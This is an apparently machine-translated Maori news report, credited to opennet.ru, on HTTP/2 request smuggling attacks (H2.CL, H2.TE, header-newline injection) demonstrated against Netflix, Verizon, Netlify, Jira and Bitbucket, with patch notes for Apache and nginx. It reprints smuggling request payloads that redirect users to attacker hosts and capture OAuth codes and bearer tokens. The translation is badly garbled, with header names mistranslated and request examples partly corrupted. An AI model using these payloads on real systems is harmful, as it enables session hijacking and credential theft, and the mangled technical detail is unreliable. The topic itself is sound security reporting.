He whakaeke hou i runga i nga punaha o mua-mutunga-muri ka taea e koe te uru ki nga tono

Ko nga punaha Tukutuku e whakaaehia ana e te pito o mua nga hononga ma te HTTP/2 me te tuku ki te tuara ma te HTTP/1.1 kua kitea ki tetahi momo hou o te whakaeke "HTTP Request Smuggling", e taea ai, ma te tuku i nga tono a nga kiritaki kua hoahoatia, ki te uru ki roto i nga korero o nga tono a etahi atu kaiwhakamahi i tukatuka i roto i te rere kotahi i waenga i te pito o mua me te tuara. Ka taea te whakamahi i te whakaeke ki te whakauru i te waehere JavaScript kino ki roto i te huihuinga me te paetukutuku tika, te karo i nga punaha aukati uru me te haukoti i nga tawhā motuhēhēnga.

Ka pa te raru ki nga takawaenga paetukutuku, ki te taurite uta, ki te whakatere paetukutuku, ki nga punaha tuku ihirangi me etahi atu whirihoranga ka tukuna nga tono ki mua-mutunga-ki-muri. I whakaatuhia e te kaituhi o te rangahau te kaha ki te whakaeke i nga punaha o Netflix, Verizon, Bitbucket, Netlify CDN me Atlassian, a ka riro i te 56 mano taara i roto i nga kaupapa utu mo te tautuhi i nga whakaraeraetanga. Kua whakapumautia ano te raru ki nga hua F5 Networks. Ko te raru ka pa ki te mod_proxy i roto i te Apache http server (CVE-2021-33193), he whakatika i te putanga 2.4.49 (i whakamohiotia nga kaiwhakawhanake mo te raru i te timatanga o Haratua, ka tukuna kia 3 marama ki te whakatika). I roto i te nginx, ko te kaha ki te tautuhi i te wa kotahi te "Ihirangi-Roa" me te "Whakawhiti-Whakawaehere" i aukatihia i te tukunga whakamutunga (1.21.1). Ko nga taputapu whakaeke kua whakauruhia ki roto i te kete taputapu Burp me te waatea i te ahua o te toronga Turbo Intruder.

Ko te maataapono o te mahi o te tikanga hou mo te here i nga tono ki roto i nga waka he rite tonu ki te whakaraeraetanga i kitea e te kairangahau kotahi i nga tau e rua ki muri, engari he iti ki nga waahanga o mua e whakaae ana ki nga tono mo HTTP/1.1. Kia maumahara tatou i roto i te kaupapa o mua-muri, ka whakawhiwhia nga tono a te kiritaki e tetahi atu node - te pito o mua, e whakatuu ana i te hononga TCP roa ki te tuara, e whakahaere tika ana i nga tono. Na roto i tenei hononga noa, ka tukuna nga tono mai i nga kaiwhakamahi rereke, e whai ana i te mekameka tetahi i muri i tetahi, ka wehea ma te kawa HTTP.

Ko te whakaeke matarohia "HTTP Request Smuggling" i ahu mai i runga i te whakamaoritanga o mua me nga tuara ki te whakamahi i nga pane HTTP "Ihirangi-Roa" (ka whakatau i te rahinga katoa o nga raraunga i roto i te tono) me te "Whakawhiti-Whakawaehere: chunked" (ka taea nga raraunga hei whakawhiti i nga waahanga) rereke. . Hei tauira, ki te tautoko anake te taha o mua ki te "Ihirangi-Roa" engari ka warewarehia "Whakawaehere-Whakawhiti: kua tihorea", ka taea e te kaitawhai te tuku tono kei roto nga pane "Ihirangi-Roa" me te "Whakawaehere-Whakawaehere: kua pakaru", engari ko te "Ihirangi-Roa" te rahi kaore e rite ki te rahi o te mekameka putu. I tenei keehi, ka tukatukahia e te pito o mua te tono kia rite ki te "Ihirangi-Roa", ka tatari te tuara mo te whakaotinga o te poraka i runga i te "Whakawhiti-Whakawaehere: kua pakaru" me te toenga o te hiku o te tono a te kaitukino. i te timatanga o te tono a tetahi atu ka tukuna i muri mai.

Kaore i te rite ki te kawa kuputuhi HTTP/1.1, ka tohatohahia ki te taumata raina, ko te HTTP/2 he kawa rua me te raweke i nga poraka raraunga o te rahi kua tohua. Heoi, ka whakamahi a HTTP/2 i nga pane pseudo e rite ana ki nga pane HTTP auau. I roto i te take o te taunekeneke me te tuara ma te kawa HTTP/1.1, ka whakamaoritia e te pitomua enei pane pseudo-header ki nga pane HTTP rite HTTP/1.1. Ko te raruraru ka whakatauhia e te tuara mo te tarai i te awa i runga i nga pane HTTP kua whakaritea e te pito o mua, me te kore he korero mo nga tawhā o te tono taketake.

Ina koa, ko nga uara "roa-ihirangi" me te "whakawaehere-whakawhiti" ka taea te tuku i roto i te ahua o nga pane pseudo, ahakoa te mea kaore i te whakamahia i roto i te HTTP/2, na te mea kua whakatauhia te rahi o nga raraunga katoa. i roto i te mara motuhake. Heoi, i te wa o te huringa o te tono HTTP/2 ki te HTTP/1.1, ka kawea enei pane ka taea te whakapoauau i te tuara. E rua nga momo whakaeke matua: H2.TE me H2.CL, kei te whakapohehehia te tuara e te he o te whakawhiti-whakawaehere, te uara roa ihirangi ranei e kore e rite ki te rahi tonu o te tinana tono i whakawhiwhia e te pito o mua ma te Kawa HTTP/2.

He whakaeke hou i runga i nga punaha o mua-mutunga-muri ka taea e koe te uru ki nga tono

Ko tetahi tauira o te whakaeke H2.CL ko te tohu i te rahinga he i roto i te pane pseudo-pane-roa i te wa e tukuna ana he tono HTTP/2 ki Netflix. Ko tenei tono e arai atu ana ki te taapiri o tetahi pane HTTP rite te Ihirangi-Roa ka uru atu ki te tuara ma te HTTP/1.1, engari na te mea ko te rahi i roto i te Ihirangi-Roa kua tohua he iti iho i te mea tuturu, ko tetahi waahanga o nga raraunga kei te hiku ka tukatukahia hei te te timatanga o te tono e whai ake nei.

Hei tauira, tono HTTP/2 :tikanga POST :ara /n :mana www.netflix.com ihirangi-roa 4 abcdGET /n HTTP/1.1 Kaihautū: 02.rs?x.netflix.com Foo: pae

Ka puta he tono ka tukuna ki te tuara: POST /n HTTP/1.1 Kaihautū: www.netflix.com Ihirangi-Roa: 4 abcdGET /n HTTP/1.1 Kaihautū: 02.rs?x.netflix.com Foo: bar

I te mea he 4 te uara o te Ihirangi-Roa, ka whakaaehia te "abcd" anake hei tinana o te tono, ko te toenga o te "GET /n HTTP/1.1..." ka whakahaeretia hei timatanga o te tono o muri. e hono ana ki tetahi atu kaiwhakamahi. Na reira, ka whakakorehia te awa, a, hei whakautu ki te tono e whai ake nei, ka puta te hua o te tukatuka i te tono tire. I roto i te take o Netflix, ko te tohu i tetahi kaihautu tuatoru i roto i te pane "Kaihautu:" i roto i te tono hangarua ka whakahoki te kaihoko i te whakautu "Wāhi: https://02.rs?x.netflix.com/n" me whakaaetia kia tukuna nga ihirangi ki te kiritaki, tae atu ki te Whakahaere i to waehere JavaScript i roto i te horopaki o te pae Netflix.

Ko te whiringa whakaeke tuarua (H2.TE) ko te whakakapi i te pane "Whakawhiti-Whakawaehere: chunked". Ko te whakamahi i te pseudo-header whakawhiti-whakawaehere i roto i te HTTP / 2 ka aukatihia e te whakaritenga me nga tono ki a ia ka tohua kia kiia he he. Ahakoa tenei, kaore etahi o nga whakatinanatanga o mua e aro ki tenei whakaritenga me te tuku i te whakamahi i te whakawhiti-whakawaehere pseudo-pane i roto i te HTTP / 2, ka huri ki te pane HTTP rite. Mena he pane "Whakawaehere-Whakawhiti", ka taea e te tuara te tango hei kaupapa matua ake, ka poroporoaki i nga waahanga raraunga ma ia waahanga i roto i te aratau "tihi" ma te whakamahi i nga poraka rereke te rahi i te whakatakotoranga "{rahi}\r\n{block }\r\n{rahi} \r\n{poraka}\r\n0", ahakoa te wehenga tuatahi i te rahi katoa.

Ko te waahi o taua waahi i whakaatuhia e te tauira o Verizon. Ko te raruraru e pa ana ki te tomokanga motuhēhēnga me te punaha whakahaere ihirangi, e whakamahia ana i runga i nga waahi penei i a Huffington Post me Engadget. Hei tauira, he tono a te kiritaki ma te HTTP/2: :tikanga POST :path /identitfy/XUI :mana id.b2b.oath.com whakawhiti-whakawaehere tihia 0 GET /oops HTTP/1.1 Kaihautū: psres.net Content-Length: 10 x=

I puta te tuku tono HTTP/1.1 ki te tuara: POST /identity/XUI HTTP/1.1 Kaihautū: id.b2b.oath.com Ihirangi-Roa: 66 Whakawhiti-Whakawaehere: tihia 0 GET /oops HTTP/1.1 Kaihautū: psres. net Ihirangi- Roa: 10x=

Ko te pito o muri, ka wareware ki te pane "Ihirangi-Roa" ka mahi i te wehenga-a-roto i runga i te "Whakawaehere-Whakawhiti: kua tihorea". I roto i te mahi, i taea e te whakaeke te tuku i nga tono a nga kaiwhakamahi ki to raatau paetukutuku, tae atu ki nga tono haukoti e pa ana ki te whakamotuhēhēnga OAuth, ko nga tawhā i whakaatuhia ki te pane Referer, me te whakatauira i tetahi huihuinga motuhēhēnga me te whakaoho i te punaha a te kaiwhakamahi ki te tuku tohu. ki te ope o te kaitukino. GET /b2blanding/show/oops HTTP/1.1 Kaihautū: psres.net Kaitohu: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Kaihautū: psres.net Whakaaetanga: Kaiwhiwhi eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Hei whakaeke i nga whakatinanatanga HTTP/2 e kore e whakaae kia tohua te pane pseudo-whakawaehere-whakawhitinga, kua whakaarohia tetahi atu tikanga e uru ana ki te whakakapi i te pane "Transfer-Encoding" ma te hono atu ki etahi atu pane pseudo i wehea e te tohu raina hou ( ka huri ki HTTP/1.1 i tenei keehi ka hanga e rua nga pane HTTP motuhake).

Hei tauira, ko Atlassian Jira me Netlify CDN (i whakamahia hei mahi i te wharangi timatanga Mozilla i Firefox) i pa ki tenei raru. Ina koa, ko te tono HTTP/2 :tikanga POST :ara / :mana start.mozilla.org foo b\r\n whakawhiti-whakawaehere: kua kohia 0\r\n \r\n GET / HTTP/1.1\r\n Kaihautū : evil-netlify-domain\r\n Ihirangi-Roa: 5\r\n \r\nx=

ka puta te tono HTTP/1.1 POST / HTTP/1.1 ki te tuara\r\n Kaihautū: start.mozilla.org\r\n Foo: b\r\n Whakawhiti-Whakawaehere: chunked\r\n Ihirangi-Roa : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Kaihautū: evil-netlify-domain\r\n Ihirangi-Roa: 5\r\n \r \nx=

Ko tetahi atu whiringa hei whakakapi i te pane "Whakawaehere-Whakawhiti" ko te whakapiri atu ki te ingoa o tetahi atu pane pseudo, ki tetahi raina me te tikanga tono. Hei tauira, i te wa e uru ana ki Atlassian Jira, ko te ingoa pseudo-header "foo: bar\r\ntransfer-encoding" me te uara "chunked" i honoa nga pane HTTP "foo: bar" me te "whakawaehere-whakawaehere: chunked" ki te taapiri. , and specifying pseudo-header ": method" value "GET / HTTP/1.1\r\nTransfer-encoding: chunked" was translated to "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

Ko te kairangahau nana i tohu te raru i tono ano he tikanga tukunga tono ki te whakaeke i nga pito o mua, ka whakatauhia e ia wahitau IP he hononga motuhake ki te tuara me nga waka mai i nga kaiwhakamahi rereke kaore i whakauruhia. Ko te tikanga e whakaarohia ana e kore e whakaae ki te pokanoa ki nga tono a etahi atu kaiwhakamahi, engari ka taea te paihana i te keteroki tiri e pa ana ki te tukatuka o etahi atu tono, ka taea te whakakapi i nga pane o roto HTTP hei whakawhiti i nga korero ratonga mai i te pito o mua ki te tuara ( hei tauira, i te wa e whakamotuhēhē ana i te taha o mua i roto Ka taea e enei pane te tuku korero mo te kaiwhakamahi o naianei ki te tuara). Hei tauira mo te whakamahi i te tikanga i roto i te mahi, ma te whakamahi i te paihana keteroki, ka taea te mana whakahaere mo nga wharangi o te ratonga Bitbucket.

Source: opennet.ru

Tāpiri i te kōrero